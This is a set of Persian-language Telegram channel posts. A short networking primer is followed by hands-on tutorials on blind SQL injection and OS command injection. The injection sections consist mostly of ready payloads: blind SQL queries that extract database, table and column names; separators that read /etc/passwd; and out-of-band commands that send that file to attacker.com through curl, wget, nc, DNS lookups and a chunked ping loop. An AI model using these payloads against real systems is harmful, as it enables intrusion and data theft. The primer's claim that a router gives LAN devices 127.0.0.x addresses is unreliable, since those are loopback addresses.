یه سری دسته داره که اینا work group میشن به تلویزیونی که داره و حالا اون دسته ها رو شناسایی میکنه و یا میشه تلویزیون ها به هم وصل بشن که تمام اطلاعات با هم دیگه مچ بشن ( مثلا یه بازی که رویه یکی نصبه دیگه نخوایم رویه اون یکی هم نصب کنیم)
دومیش domain هس که همه سیستم ها وصل میشن به internet و حالا تویه محیط Wan با هم دیگه ارتباط دارن و تفاوت مهمی که داره اینه که یه سرور مرکزی هست که user های مختلف رو زیر نظر داره و سطح دسترسی های مختلفی رو مشخص میکنه .
حالا بعد این همه توضیح این برنامه چیکار میکنه؟ (: (مثلا من میخوام یه فایل از گوشیم رویه لپ تاپم بریزم )
این برنامه یه محیط Lan در یک ارتباط work group درست میکنه با استفاده از wi-fi
چطوری ؟
خود مودم یه ip پابلیک داره که یونیک هست ولی یک ip لوکال هم داره که برای شبکه کردن تویه Local هس مثلا ( 127.0.0.0).
حالا وقتی وصل میشیم به wi-fi به گوشی من یه ip میده ( 127.0.0.1 ) و به لپ تاپ یه ip که ( 127.0.0.2 ) هست و اینطوری میشه که گوشی و لپ تاپ میتونن در یک سیستم محلی به هم وصل بشن و همو شناسایی کنن و بتونن با هم اطلاعات به اشتراک بزارن (:
اولیش Lan : یه شبکه کوچیک که میتونه خانگی باشه یا شهری
دومیش Man هس که یه لول میشه گف سطح ارتباطش بیشتره
و آخریش هم Wan هست که یه نوع ارتباط با استفاده از internet و متصل شدن به شبکه جهانیه
حالا اگه بخوایم از لحاظ نوع کار کردن واقعی شبکه بگیم
کلا دو نوع ارتباط دارن
که میتونه work group باشه یا domain باشه
تویه work group چند تا دستگاه مختلف تویه یک محیط Lan به هم دیگه وصل میشن
که میشه از طریق internet باشه یا Ethernet ( مثلا از طریق کابل شبکه ).
بخوام مثال واقعی بزنم تویه کلوپ ها( گیم نت)
یه سری دسته داره که اینا work group میشن به تلویزیونی که داره و حالا اون دسته ها رو شناسایی میکنه و یا میشه تلویزیون ها به هم وصل بشن که تمام اطلاعات با هم دیگه مچ بشن ( مثلا یه بازی که رویه یکی نصبه دیگه نخوایم رویه اون یکی هم نصب کنیم)
دومیش domain هس که همه سیستم ها وصل میشن به internet و حالا تویه محیط Wan با هم دیگه ارتباط دارن و تفاوت مهمی که داره اینه که یه سرور مرکزی هست که user های مختلف رو زیر نظر داره و سطح دسترسی های مختلفی رو مشخص میکنه .
حالا بعد این همه توضیح این برنامه چیکار میکنه؟ (: (مثلا من میخوام یه فایل از گوشیم رویه لپ تاپم بریزم )
این برنامه یه محیط Lan در یک ارتباط work group درست میکنه با استفاده از wi-fi
چطوری ؟
خود مودم یه ip پابلیک داره که یونیک هست ولی یک ip لوکال هم داره که برای شبکه کردن تویه Local هس مثلا ( 127.0.0.0).
حالا وقتی وصل میشیم به wi-fi به گوشی من یه ip میده ( 127.0.0.1 ) و به لپ تاپ یه ip که ( 127.0.0.2 ) هست و اینطوری میشه که گوشی و لپ تاپ میتونن در یک سیستم محلی به هم وصل بشن و همو شناسایی کنن و بتونن با هم اطلاعات به اشتراک بزارن (:
👏3
/dev/null
ببینید کلا شبکه از نظر ابعاد جغرافیایی چند دسته میشه اولیش Lan : یه شبکه کوچیک که میتونه خانگی باشه یا شهری دومیش Man هس که یه لول میشه گف سطح ارتباطش بیشتره و آخریش هم Wan هست که یه نوع ارتباط با استفاده از internet و متصل شدن به شبکه جهانیه حالا اگه بخوایم…
گفتم بد نیست یه چیزیو که استفاده میکنین بدونین پشت صحنه چه خبره 🦦
❤4
Blind based injection :
این نوع injection زمانی اتفاق میوفته که جواب response رو به طور دقیق نداشته باشیم ینی یا نتیجه ای از جواب یا هیچ جوابی برای ما نیاد .
Boolean based injection:
این نوع injection برای حالت اول است . ینی یه نتیجه ای جواب داشته باشیم.
اولین چیزی که باید بدونیم و از اسمش پیداست boolean بودن اون هست . ینی
شناسایی boolean based :
( مثل union based هس )
و حالا باید response هایی که میگیرین به این شکل باشه :
حالا چطوری تعداد ستون رو مشخص کنیم ؟
( مثل union based ) داریم :
از ارور آخر متوجه خواهیم شد که سه تا ستون داریم .
و حالا برای پیدا کردن ستونی که داخلش میشه Payload ها رو تست کرد داریم:
خب حالا اینجاس که دیگه فرقش با union based مشخص میشه و دیگه به عنوان مثال :
جواب نمیده بهمون و به همین آسونی نمیشه اسم database رو پیدا کرد .
خب حالا راهکارش چیه؟
استفاده از true , false بودن response که بهمون بر میگرده .
(ببینید منظور از true و false بودن response اینه که response دیفالت و اصلی رو بگیرین true و هر چی غیر از اون بود false در نظر بگیرین .)
اگه بیایم تویه Payload که بالا واستون نوشتم و گفتم کار نمیکنه ، الان بیایم جای database بنویسیم :
از ارور آخر متوجه میشیم که طول databaseسه بوده.
حالا میریم برای پیدا کردن اسم database:
پس حرف اول دیتابیس s هست و حالا همینطور برای بقیه حروف هم میشه تست کرد.( باید یه برنامه پایتونی بنویسید که این کارو انجام بده واستون 🦦 )
خب حالا میریم سراغ table name :
فرض کنیم اسم database رو بدست آوردیم users .
و اینجا فهمیدیم که طول table name هم 3 هست .
حالا برای اسم table ها :
پس اولین کاراکتر u هست .
و کاراکتر دوم s هست
و به همین ترتیب ادامه میدهیم هم برای کامل کردن اسم table .
برای column ها هم داریم : ( فرض کنید database name = users , table-name = username شده .
و همین کار هارو برای پیدا کردن data هم انجام میدهیم ((:
#SQLI
این نوع injection زمانی اتفاق میوفته که جواب response رو به طور دقیق نداشته باشیم ینی یا نتیجه ای از جواب یا هیچ جوابی برای ما نیاد .
Boolean based injection:
این نوع injection برای حالت اول است . ینی یه نتیجه ای جواب داشته باشیم.
اولین چیزی که باید بدونیم و از اسمش پیداست boolean بودن اون هست . ینی
True or False شناسایی boolean based :
( مثل union based هس )
Default request:
page/?id=54
Test 1 :
page/?id=54 order by 1
page/?id=54' order by 1 #
page/?id=54" order by 1 #
Test 2 :
page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#
و حالا باید response هایی که میگیرین به این شکل باشه :
Default == Test 1Test 1 != Test 2حالا چطوری تعداد ستون رو مشخص کنیم ؟
( مثل union based ) داریم :
page/?id=54 order by 1 # same as default request
page/?id=54 order by 2 # same as default request
page/?id=54 order by 3 # same as default request
page/?id=54 order by 4 # not same as Default
از ارور آخر متوجه خواهیم شد که سه تا ستون داریم .
و حالا برای پیدا کردن ستونی که داخلش میشه Payload ها رو تست کرد داریم:
page/?id = 54 union select 1,2,3--خب حالا اینجاس که دیگه فرقش با union based مشخص میشه و دیگه به عنوان مثال :
page/?id=54 union select 1,2,database()--
جواب نمیده بهمون و به همین آسونی نمیشه اسم database رو پیدا کرد .
خب حالا راهکارش چیه؟
استفاده از true , false بودن response که بهمون بر میگرده .
(ببینید منظور از true و false بودن response اینه که response دیفالت و اصلی رو بگیرین true و هر چی غیر از اون بود false در نظر بگیرین .)
اگه بیایم تویه Payload که بالا واستون نوشتم و گفتم کار نمیکنه ، الان بیایم جای database بنویسیم :
page/?id=45 union select 1,2,3 where 1=IF( (SELECT LENGTH(DATABASE()))>1,1,2)--- # True condition
page/?id=45 union select 1,2,3 where 1=IF( (SELECT LENGTH(DATABASE()))>2,1,2)--- # True condition
page/?id=45 union select 1,2,3 where 1=IF( (SELECT LENGTH(DATABASE()))>3,1,2)--- # True condition
page/?id=45 union select 1,2,3 where 1=IF( (SELECT LENGTH(DATABASE()))>4,1,2)--- # True condition
از ارور آخر متوجه میشیم که طول database
حالا میریم برای پیدا کردن اسم database:
page/?id=54 union select 1,2,3 where database() like 's%';--
# True condition
پس حرف اول دیتابیس s هست و حالا همینطور برای بقیه حروف هم میشه تست کرد.( باید یه برنامه پایتونی بنویسید که این کارو انجام بده واستون 🦦 )
خب حالا میریم سراغ table name :
فرض کنیم اسم database رو بدست آوردیم users .
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') = 1,1,0)-- #true
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') = 2,1,0)-- #true
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') = 3,1,0)-- #true
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name = 'users') = 4,1,0)-- #false
و اینجا فهمیدیم که طول table name هم 3 هست .
حالا برای اسم table ها :
page/?id=54 union select 1,2,3 where 1=IF (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_name = 'users') = 'u',1,0) -- #true
پس اولین کاراکتر u هست .
page/?id=54 union select 1,2,3 where 1=IF (SELECT SUBSTRING(table_name, 2, 1) FROM information_schema.tables WHERE table_name = 'users') = 's',1,0) -- #true
و کاراکتر دوم s هست
و به همین ترتیب ادامه میدهیم هم برای کامل کردن اسم table .
برای column ها هم داریم : ( فرض کنید database name = users , table-name = username شده .
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'users' AND column_name = 'username') > 2,1,0) --#true
page/?id=54 union select 1,2,3 where 1=IF(SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'users' AND column_name = 'username') > 3,1,0) --#false
و همین کار هارو برای پیدا کردن data هم انجام میدهیم ((:
#SQLI
❤🔥4👏2
Time based injection :
ببینید Time based injection هم نوعی از blind based هست و زمانی اتفاق میوفته که هیچ جوابی و هیچ نتیجه ای جواب برنگردونه.
پیلود هاش هم دقیقا مثل بالاست فقط هر جا که از شرط استفاده کردم ( IF ) ، برای True بودن شرط باید از sleep(10) استفاده کنیم .
یعنی یه چنین چیزی :
کلا تویه این injection وقتی خواستین تفاوت true بودن یا false بودن response رو بفهمین از sleep استفاده کنین چون کلا در time based سرور به جای اینکه به شما اطلاعاتی بده داره از شما اطلاعات میگیره مثل ip , cookie و ... که قبلا گفتم راجبش .
حالا شما میتونین تعیین کنین که تویه این فلان زمان مشحض طول بکشه برای ارسال اطلاعات و حالا اگر سرور اسیب پذیر باشه نسبت به sql واکنش نشون میده و میشه یه تارگت ورود برای شما (:
#SQLI
ببینید Time based injection هم نوعی از blind based هست و زمانی اتفاق میوفته که هیچ جوابی و هیچ نتیجه ای جواب برنگردونه.
پیلود هاش هم دقیقا مثل بالاست فقط هر جا که از شرط استفاده کردم ( IF ) ، برای True بودن شرط باید از sleep(10) استفاده کنیم .
یعنی یه چنین چیزی :
page/?id=54 UNION SELECT 1, IF((SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name = 'users' AND column_name = 'username') > 3, SLEEP(5), 0) --
کلا تویه این injection وقتی خواستین تفاوت true بودن یا false بودن response رو بفهمین از sleep استفاده کنین چون کلا در time based سرور به جای اینکه به شما اطلاعاتی بده داره از شما اطلاعات میگیره مثل ip , cookie و ... که قبلا گفتم راجبش .
حالا شما میتونین تعیین کنین که تویه این فلان زمان مشحض طول بکشه برای ارسال اطلاعات و حالا اگر سرور اسیب پذیر باشه نسبت به sql واکنش نشون میده و میشه یه تارگت ورود برای شما (:
#SQLI
👏5
خب آقا تبریک ، sql injection تموم شد 🦦❤️
(البته بیشتر از Payload هاش براتون بعد میزارم)
(البته بیشتر از Payload هاش براتون بعد میزارم)
❤🔥5🔥1
Forwarded from Linuxor ?
به جزئی از سیستم که همه اجزا به اون وابسته ان و در صورت خرابی، کل سیستم از بین میره، SPOF یا نقطه شکست میگن
جالب اینجاست پیدا کردن SPOF توی یه سیستم کار ساده ای نیست و ممکنه آشکار نباشه که با ریداندنسی و بالانسینگ بین اجزا میشه SPOF رو کاهش داد
مثلا سیستم های ارزی و بانکی تعداد زیادی سرور دارن که به صورت تکراری داده هارو توش بکاپ میگیرن و حتی نیازه که سرور های بکاپ هم تراکنش هارو commit کنن تا حتی یک ثانیه سرور اصلی قطع شه هیچ تراکنشی بلاتکلیف نشه
🐧 @Linuxor
جالب اینجاست پیدا کردن SPOF توی یه سیستم کار ساده ای نیست و ممکنه آشکار نباشه که با ریداندنسی و بالانسینگ بین اجزا میشه SPOF رو کاهش داد
مثلا سیستم های ارزی و بانکی تعداد زیادی سرور دارن که به صورت تکراری داده هارو توش بکاپ میگیرن و حتی نیازه که سرور های بکاپ هم تراکنش هارو commit کنن تا حتی یک ثانیه سرور اصلی قطع شه هیچ تراکنشی بلاتکلیف نشه
🐧 @Linuxor
👏1
command injection : ( OS command execute )
در این نوع injection به دلیل اینکه web server دسترسی مستقیم به shell داره و میتونه یه سری اطلاعات رو رویه shell ذخیره کنه این آسیب پذیری رخ میده. مثلا برای آپلود کردن تصاویر یا convert کردن ویدیو یا ذخیره کردن email , ...
ما دو نوع command injection داریم:
1_ normal command injection
در این نوع مثل union based injection ها که قبلا گفتم یه response مستقیم از request که میزنیم داریم .
مرحله Detect کردن :
هر جایی که بشه یه سری اطلاعات رو ذخیره کرد مثل email , comment , name , ... میتونه محل مناسبی برای تست آسیب پذیری باشه .
مرحله Exploit کردن :
چطوری میشه اون رو Exploit کرد؟
بزارید یه شبیه سازی از سناریو بکنم براتون
فرض کنین یه سایت دارم یه هر host که شما بدین براتون ping میکنه
خب ینی کلا چیکار داره میکنه؟
پس داره یه دستور سیستم عاملی اجرا میکنه .
اگه با Linux کار کرده باشین میشه دو تا command رو همزمان اجرا برای این کار اول باید دستور اول break بشه و بعد دستور بعدی اجرا بشه
پس داریم :
با اجرا این دستور میتونیم کل دیتا passwd رو بخونیم (:
یه سری payload که میتونین استفاده کنین ( اگه دقت کنین تویه همش break رو داریم به روش های مختلف)
2_ blind command injection
در بعضی شرایط ما هیچ response نداریم و حالا باید با استفاده از تریک های blind دیتا بدست بیاریم .
چطوری Detect کنیم ؟
با اجرای این دستور باید 10 ثانیه به حالت sleep بره و در این صورت متوجه میشیم blind داریم .
چطوری Exploit کنیم ؟
میتونم از تکنیک out of band استفاده کنیم .
یعنی بیایم به جای اینکه اطلاعات داخل شبکه ی بین خود سرور رد و بدل بشه ، بیایم بهش بگیم یه request بزن به سرور خودمون و حالا که response درون سرور خودت بهم نشون نمیدی به سرور من نشون بده برای همین بهش میگن out of band ینی خارج از محدوده شبکه .
خب چطوری این کارو بکنیم ؟
کافیه به جای اون parameter آسیب پذیر بیایم و یه request که میتونه تحت پروتکل HTTP یا DNS باشه رو بهش بزنیم .
مثلا تویه همون مثال بالا که زدم :
الان بیایم یه HTTP request با curl بهش بزنیم :
الان اگه log های HTTP خودمون رو نگا کنیم اطلاعات passwd برای ما ارسال شده 🦦
خب اگه بخوایم بیشتر در بدونیم در مورد فرستادن data با DNS , HTTP داریم که :
مثلا اگه بخوایم با HTTP دیتا بفرستیم با دستورات curl , wget, nc میتونیم این کارو بکنیم :
و اگه بخوایم با DNS این کارو انجام بدیم میتونیم از دستوراتی مثل ping , dig , host استفاده کنیم :
فقط یه چیز دیگه میمونه اینکه ما بیشتر از 255 بایت نمیتونیم با DNS دیتا ارسال کنیم مثلا فرض کنین میخوایم دیتا /etc/passwd رو ارسال کنیم که قطعاا بیشتر از 255 بایت هست خب باید چیکار کنیم؟
باید قطعه قطعه دیتا ارسال کنیم . ینی یه loop درست کنیم و بعد دیتا هارو تیکه تیکه بدیم بیرون ، مثلا در ping داریم :
و بعد با این command دیتا ارسال شده رو سرهم کنیم (کلمه بهتری الان به ذهنم نمیرسه🦦 )
#command_injection
در این نوع injection به دلیل اینکه web server دسترسی مستقیم به shell داره و میتونه یه سری اطلاعات رو رویه shell ذخیره کنه این آسیب پذیری رخ میده. مثلا برای آپلود کردن تصاویر یا convert کردن ویدیو یا ذخیره کردن email , ...
ما دو نوع command injection داریم:
1_ normal command injection
در این نوع مثل union based injection ها که قبلا گفتم یه response مستقیم از request که میزنیم داریم .
مرحله Detect کردن :
هر جایی که بشه یه سری اطلاعات رو ذخیره کرد مثل email , comment , name , ... میتونه محل مناسبی برای تست آسیب پذیری باشه .
مرحله Exploit کردن :
چطوری میشه اون رو Exploit کرد؟
بزارید یه شبیه سازی از سناریو بکنم براتون
فرض کنین یه سایت دارم یه هر host که شما بدین براتون ping میکنه
http://example.com/ping?host=example.comخب ینی کلا چیکار داره میکنه؟
ping $input_user پس داره یه دستور سیستم عاملی اجرا میکنه .
اگه با Linux کار کرده باشین میشه دو تا command رو همزمان اجرا برای این کار اول باید دستور اول break بشه و بعد دستور بعدی اجرا بشه
پس داریم :
http://example.com/ping?host=example.com ; cat /etc/passwd با اجرا این دستور میتونیم کل دیتا passwd رو بخونیم (:
یه سری payload که میتونین استفاده کنین ( اگه دقت کنین تویه همش break رو داریم به روش های مختلف)
; cat /etc/passwd
&& cat /etc/passwd
| cat /etc/passwd
|| cat /etc/passwd
` cat /etc/passwd
$(cat /etc/passwd)
{cat ,/etc/passwd}
cat$IFS/etc/passwd
cat ${HOME:0:1}etc${HOME:0:1}passwd
2_ blind command injection
در بعضی شرایط ما هیچ response نداریم و حالا باید با استفاده از تریک های blind دیتا بدست بیاریم .
چطوری Detect کنیم ؟
http://example.com/ping?host=example.com ; ping -c 10 127.0.0.1 با اجرای این دستور باید 10 ثانیه به حالت sleep بره و در این صورت متوجه میشیم blind داریم .
چطوری Exploit کنیم ؟
میتونم از تکنیک out of band استفاده کنیم .
یعنی بیایم به جای اینکه اطلاعات داخل شبکه ی بین خود سرور رد و بدل بشه ، بیایم بهش بگیم یه request بزن به سرور خودمون و حالا که response درون سرور خودت بهم نشون نمیدی به سرور من نشون بده برای همین بهش میگن out of band ینی خارج از محدوده شبکه .
خب چطوری این کارو بکنیم ؟
کافیه به جای اون parameter آسیب پذیر بیایم و یه request که میتونه تحت پروتکل HTTP یا DNS باشه رو بهش بزنیم .
مثلا تویه همون مثال بالا که زدم :
http://example.com/ping?host=example.com ; ping -c 10 127.0.0.1 الان بیایم یه HTTP request با curl بهش بزنیم :
http://example.com/ping?host=example.com ; curl -s http://attacker.com --data-binary @/etc/passwd الان اگه log های HTTP خودمون رو نگا کنیم اطلاعات passwd برای ما ارسال شده 🦦
خب اگه بخوایم بیشتر در بدونیم در مورد فرستادن data با DNS , HTTP داریم که :
مثلا اگه بخوایم با HTTP دیتا بفرستیم با دستورات curl , wget, nc میتونیم این کارو بکنیم :
curl -s http://attacker.com --data-binary @/etc/passwdwget --method=POST --body-file=/etc/passwd http://attacker.com(cat /etc/passwd; echo) | nc attacker.com 80و اگه بخوایم با DNS این کارو انجام بدیم میتونیم از دستوراتی مثل ping , dig , host استفاده کنیم :
dig TXT attacker.com @dns-server "your-data-here host -t TXT "your-data-here.attacker.com" ping -p 48656c6c6f attacker.com فقط باید تویه ping دیتا به صورت هگزدسیمال ارسال بشه مثلا معادل Hello در هگزدسیمال میشه ( 48656c6c6f ) .
فقط یه چیز دیگه میمونه اینکه ما بیشتر از 255 بایت نمیتونیم با DNS دیتا ارسال کنیم مثلا فرض کنین میخوایم دیتا /etc/passwd رو ارسال کنیم که قطعاا بیشتر از 255 بایت هست خب باید چیکار کنیم؟
باید قطعه قطعه دیتا ارسال کنیم . ینی یه loop درست کنیم و بعد دیتا هارو تیکه تیکه بدیم بیرون ، مثلا در ping داریم :
cat /etc/passwd | od -A n -t x1 | sed 's/ *//g' | while read exfil ; do ping -c 1 $exfil.attacked.com ; done
و بعد با این command دیتا ارسال شده رو سرهم کنیم (کلمه بهتری الان به ذهنم نمیرسه🦦 )
echo "result command" | xxd -r -p
شاید بشه یه راه دومی برای blind ها گف و اون هم آپلود یک کد آسیب پذیر رویه سرور .
چون معمولا سرور ها یک مسیر static برای ذخیره فایل هاشون دارن
( /var/www/path_name)
که اگه آسیب پذیری داشته باشه ما میتونیم اون command خودمون رو با استفاده از یه زبان برنامه نویسی ( php , python ) بزنیم و آپلود کنیم که این میشه ( RCE( remote code execut
#command_injection
👏4❤1